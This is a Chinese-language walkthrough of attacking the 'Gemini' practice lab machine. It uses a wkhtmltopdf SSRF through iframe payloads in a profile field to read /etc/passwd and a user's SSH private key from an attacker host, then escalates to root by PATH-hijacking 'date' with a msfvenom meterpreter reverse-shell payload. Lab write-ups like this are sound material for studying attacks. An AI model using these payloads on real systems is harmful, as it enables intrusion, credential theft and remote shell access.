渗透Gemimi靶机
1.nmap扫描与源码审计
使用Nmap扫描靶机如下。
发现22、80端口开着,访问web服务。
发现源码地址,下载源码审计。
发现疑似用户登录密码的信息:
尝试使用admin,1234登录,发现成功登录,如下所示:
登陆后,经过一番探索,发现有一个Edit profie和Export profile,体验这两个功能,我们发现Edit profie用于编辑信息,Export profile用于导出信息的pdf格式。
编辑信息后,点击Export profile导出pdf格式,并用Burp抓包,我们发现wkhtmltopdf 0.12.4。
2.SSRF漏洞的利用
2.1漏洞测试
在github找wkhtmltopdf的漏洞,发现如下所示SSRF漏洞,如果出现302重定向,它就会读取本地文件。
对其进行测试,在kali的4444端口监听:
在Display name插入以下内容,保存后,导出pdf格式。
<iframe src=http://192.168.223.184:4444></iframe>
2.2漏洞利用
1)利用此漏洞读取密码文件
在Display name插入以下内容,保存后,导出pdf格式。
<iframe height="2000" width="800" src=http://192.168.223.184:4444/ssrf.php?id=%2fetc%2fpasswd></iframe>;
在kali上建立ssrf.php,写入以下内容,并运行此PHP文件。
读取到的密码文件如下:
2)利用此漏洞读取SSH私钥
在Display name插入以下内容,保存后,导出pdf格式。
<iframe height="2000" width="800" src=http://192.168.223.184:4444/ssrf.php?id=/home/gemini1/%2essh/id_rsa></iframe>;
在kali上启动ssrf.php。
读取的私钥文件如下:
保存私钥信息到key.txt中,尝试使用ssh登录。
3.提权
系统是比较新的Debian 9,下载linux.sh进行漏洞审计,利用内核提权失败。
用其他方法提权
可以看到listinfo执行时,会运行date命令获取系统时间。
利用这个特性,我们可以利用msfvenom生成名为date的后门文件。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.223.184 LPORT=443 -f elf > date
下载到/tmp目录下,把/tmp目录下的date添加到环境变量,这样listinfo执行时本来想运行date命令获取系统时间,由于这里添加到了环境变量,会运行这个date后门文件。
在msfconsole运行如下命令,进行监听443端口,在目标服务器下的
/usr/bin目录下执行listinfo,当它运行其中的date命令时,就会成功反弹一个shell。
可以看到,已经是root权限了。